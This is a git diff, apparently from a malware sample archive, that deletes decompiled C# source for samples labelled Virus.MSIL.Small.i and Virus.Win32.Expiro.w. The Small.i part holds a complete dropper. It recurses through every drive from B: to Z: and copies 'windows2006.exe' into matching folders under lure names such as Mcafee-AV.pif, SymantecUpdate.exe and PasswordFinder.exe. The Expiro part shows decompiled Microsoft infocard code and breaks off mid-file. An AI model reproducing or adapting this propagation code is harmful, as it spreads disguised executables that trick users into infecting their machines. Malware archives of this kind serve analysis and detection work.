a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {BEEA6F6F-BCA4-4EA4-B645-46C1D6A5DA16} - WinExe - test - 1.0.0.0 - test - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.sln deleted file mode 100644 index ee26077e..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "test", "Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1.csproj", "{BEEA6F6F-BCA4-4EA4-B645-46C1D6A5DA16}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {BEEA6F6F-BCA4-4EA4-B645-46C1D6A5DA16}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {BEEA6F6F-BCA4-4EA4-B645-46C1D6A5DA16}.Debug|Any CPU.Build.0 = Debug|Any CPU - {BEEA6F6F-BCA4-4EA4-B645-46C1D6A5DA16}.Release|Any CPU.ActiveCfg = Release|Any CPU - {BEEA6F6F-BCA4-4EA4-B645-46C1D6A5DA16}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/program.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/program.cs deleted file mode 100644 index f1998e85..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/program.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: sex.program -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA7EE8FE-E135-42FE-898E-ADC550D85275 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1.exe - -using System; -using System.IO; - -namespace sex -{ - internal static class program - { - [STAThread] - private static void Main() - { - sex.sex sex = new sex.sex(); - for (char ch = 'B'; ch <= 'Z'; ++ch) - { - string str = ch.ToString() + ":\\"; - if (Directory.Exists(str)) - { - try - { - sex.DispEXE(str); - } - catch (Exception ex) - { - } - } - } - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/sex.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/sex.cs deleted file mode 100644 index 144531e7..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/sex.cs +++ /dev/null @@ -1,164 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: sex.sex -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA7EE8FE-E135-42FE-898E-ADC550D85275 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1.exe - -using System; -using System.IO; -using System.Text.RegularExpressions; - -namespace sex -{ - internal class sex - { - public void DispEXE(string tD) - { - try - { - string[] directories = Directory.GetDirectories(tD); - string[] strArray = new string[38] - { - "own", - "it", - "upl", - "syst", - "set", - "usic", - "efu", - "am", - "caf", - "yma", - "mp3", - "wav", - "ovi", - "roj", - "win", - "ict", - "my", - "ina", - "Shar", - "aza", - "onk", - "mob", - "tart", - "ffic", - "av", - "rack", - "ile", - "W32", - "root", - "assw", - "Sounds", - "ideo", - "rit", - "ist", - "ys", - "orn", - "ew", - "amp" - }; - foreach (string input in directories) - { - try - { - foreach (string pattern in strArray) - { - try - { - if (Regex.IsMatch(input, pattern)) - { - if (Regex.IsMatch(input, "it")) - File.Copy("windows2006.exe", input + "\\NewWeb.exe"); - if (Regex.IsMatch(input, "own")) - File.Copy("windows2006.exe", input + "\\Downloader.pif"); - if (Regex.IsMatch(input, "upl")) - File.Copy("windows2006.exe", input + "\\upload-file.exe"); - if (Regex.IsMatch(input, "syst")) - File.Copy("windows2006.exe", input + "\\system.dll.cmd"); - if (Regex.IsMatch(input, "set")) - File.Copy("windows2006.exe", input + "\\setu.exe"); - if (Regex.IsMatch(input, "usic")) - File.Copy("windows2006.exe", input + "\\MyMiusic.exe"); - if (Regex.IsMatch(input, "efu")) - File.Copy("windows2006.exe", input + "\\defult-path.cmd"); - if (Regex.IsMatch(input, "ame")) - File.Copy("windows2006.exe", input + "\\FunGame.flash.exe"); - if (Regex.IsMatch(input, "caf")) - File.Copy("windows2006.exe", input + "\\Mcafee-AV.pif"); - if (Regex.IsMatch(input, "ort")) - File.Copy("windows2006.exe", input + "\\PortScanner.exe"); - if (Regex.IsMatch(input, "yma")) - File.Copy("windows2006.exe", input + "\\SymantecUpdate.exe"); - if (Regex.IsMatch(input, "p3")) - File.Copy("windows2006.exe", input + "\\Mp3Player.pif"); - if (Regex.IsMatch(input, "av")) - File.Copy("windows2006.exe", input + "\\WaveToMp32.exe"); - if (Regex.IsMatch(input, "ovi")) - File.Copy("windows2006.exe", input + "\\Fun.pif"); - if (Regex.IsMatch(input, "win")) - File.Copy("windows2006.exe", input + "\\winUpdate.cab.cmd"); - if (Regex.IsMatch(input, "roj")) - File.Copy("windows2006.exe", input + "\\install-project.exe"); - if (Regex.IsMatch(input, "ict")) - File.Copy("windows2006.exe", input + "\\mypic.scr"); - if (Regex.IsMatch(input, "my")) - File.Copy("windows2006.exe", input + "\\myboy.exe"); - if (Regex.IsMatch(input, "ina")) - File.Copy("windows2006.exe", input + "\\NewWinamp.exe"); - if (Regex.IsMatch(input, "Shar")) - File.Copy("windows2006.exe", input + "\\Perl-install.pif"); - if (Regex.IsMatch(input, "aza")) - File.Copy("windows2006.exe", input + "\\Learning.exe"); - if (Regex.IsMatch(input, "mob")) - File.Copy("windows2006.exe", input + "\\mobileAV.exe"); - if (Regex.IsMatch(input, "tart")) - File.Copy("windows2006.exe", input + "\\WinUser32.dll.exe"); - if (Regex.IsMatch(input, "ffic")) - File.Copy("windows2006.exe", input + "\\newOffice.exe"); - if (Regex.IsMatch(input, "rack")) - File.Copy("windows2006.exe", input + "\\TrackPlayer.exe"); - if (Regex.IsMatch(input, "ile")) - File.Copy("windows2006.exe", input + "\\readMe.Txt.pif"); - if (Regex.IsMatch(input, "orn")) - File.Copy("windows2006.exe", input + "\\pornoPic.scr"); - if (Regex.IsMatch(input, "W32")) - File.Copy("windows2006.exe", input + "\\WinLearning.htm.cmd"); - if (Regex.IsMatch(input, "root")) - File.Copy("windows2006.exe", input + "\\DefultRoot.pif"); - if (Regex.IsMatch(input, "assw")) - File.Copy("windows2006.exe", input + "\\PasswordFinder.exe"); - if (Regex.IsMatch(input, "Sounds")) - File.Copy("windows2006.exe", input + "\\NewSound.cmd"); - if (Regex.IsMatch(input, "ideo")) - File.Copy("windows2006.exe", input + "\\0110Video.pif"); - if (Regex.IsMatch(input, "rit")) - File.Copy("windows2006.exe", input + "\\CDWriter.exe"); - if (Regex.IsMatch(input, "ist")) - File.Copy("windows2006.exe", input + "\\NewList.exe"); - if (Regex.IsMatch(input, "ys")) - File.Copy("windows2006.exe", input + "\\Secure.exe"); - if (Regex.IsMatch(input, "ew")) - File.Copy("windows2006.exe", input + "\\newFile.pif"); - if (Regex.IsMatch(input, "amp")) - File.Copy("windows2006.exe", input + "\\NewWinamp.exe"); - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - foreach (string directory in Directory.GetDirectories(tD)) - this.DispEXE(directory); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/AssemblyInfo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/AssemblyInfo.cs deleted file mode 100644 index eefabe39..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/AssemblyInfo.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: SatelliteContractVersion("3.0.0.0")] -[assembly: AssemblyFileVersion("3.0.4506.2152")] -[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyInformationalVersion("3.0.4506.2152")] -[assembly: ComVisible(false)] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: AssemblyDefaultAlias("infocard.exe")] -[assembly: AssemblyDescription("infocard.exe")] -[assembly: AssemblyTitle("infocard.exe")] -[assembly: CLSCompliant(false)] -[assembly: AssemblyProduct("Microsoft® .NET Framework")] -[assembly: AssemblyKeyFile("f:\\dd\\Tools\\devdiv\\EcmaPublicKey.snk")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyVersion("3.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/BrowserNavConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/BrowserNavConstants.cs deleted file mode 100644 index 3c727434..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/BrowserNavConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BrowserNavConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum BrowserNavConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CallMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CallMode.cs deleted file mode 100644 index 4b893b76..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CallMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CallMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum CallMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CommandStateChangeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CommandStateChangeConstants.cs deleted file mode 100644 index f8417eb5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CommandStateChangeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CommandStateChangeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum CommandStateChangeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HDC__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HDC__.cs deleted file mode 100644 index 4b72bf83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HDC__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HDC__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HDC__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HINSTANCE__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HINSTANCE__.cs deleted file mode 100644 index e6585692..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HINSTANCE__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HINSTANCE__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HINSTANCE__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HWND__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HWND__.cs deleted file mode 100644 index a64c1d86..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HWND__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HWND__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HWND__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IGNOREMIME.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IGNOREMIME.cs deleted file mode 100644 index fc33c5cf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IGNOREMIME.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IGNOREMIME -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum IGNOREMIME -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMAGE_AUX_SYMBOL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMAGE_AUX_SYMBOL_TYPE.cs deleted file mode 100644 index 4e9e5831..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMAGE_AUX_SYMBOL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMAGE_AUX_SYMBOL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum IMAGE_AUX_SYMBOL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_NAME_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_NAME_TYPE.cs deleted file mode 100644 index 6d3c36e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_NAME_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_NAME_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum IMPORT_OBJECT_NAME_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_TYPE.cs deleted file mode 100644 index 36ca7517..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum IMPORT_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityApplicationManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityApplicationManager.cs deleted file mode 100644 index e6e3a8d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityApplicationManager.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityApplicationManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityApplicationManager - { - private const int WindowsVistaMajorVersion = 6; - private IAccessibilityHelper m_helper; - - public AccessibilityApplicationManager() - { - bool fTabletPC = 0 != NativeMethods.GetSystemMetrics(86); - if (Environment.OSVersion.Version.Major < 6) - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForXpWin2k3(fTabletPC); - else - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForVista(fTabletPC); - } - - public void Stop() => this.m_helper.Stop(); - - public void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - this.m_helper.RestartOnInfoCardDesktop(userATApplicationFlags, hTrustedUserToken, ref trustedUserSid, infocardDesktop, userSessionId, userProcessId, userIdentity); - } - - public bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - return this.m_helper.RestartOnUsersDesktop(userProcessId, userDesktop, userIdentity); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForVista.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForVista.cs deleted file mode 100644 index 5b726989..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForVista.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForVista -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForVista : IAccessibilityHelper, IDisposable - { - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string progfilePath = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles); - private static readonly string baseATPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs"; - private static readonly string configPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session"; - private List m_applicationList = new List(); - private ProcessManager m_manager; - private bool m_fResetConfigKey; - private int m_sessionId; - private bool m_fTabletPC; - - public AccessibilityHelperForVista(bool fTabletPC) - { - this.m_fTabletPC = fTabletPC; - this.InitializeATAppData(); - } - - private void InitializeATAppData() - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.baseATPath); - foreach (string subKeyName in registryKey.GetSubKeyNames()) - { - string str = (string) registryKey.OpenSubKey(subKeyName).GetValue("ATExe"); - if (!string.IsNullOrEmpty(str)) - this.m_applicationList.Add(str); - } - } - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - if (!this.m_fResetConfigKey) - return false; - Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.configPath + (object) this.m_sessionId, true).SetValue("Configuration", (object) ""); - this.m_fResetConfigKey = false; - return true; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, 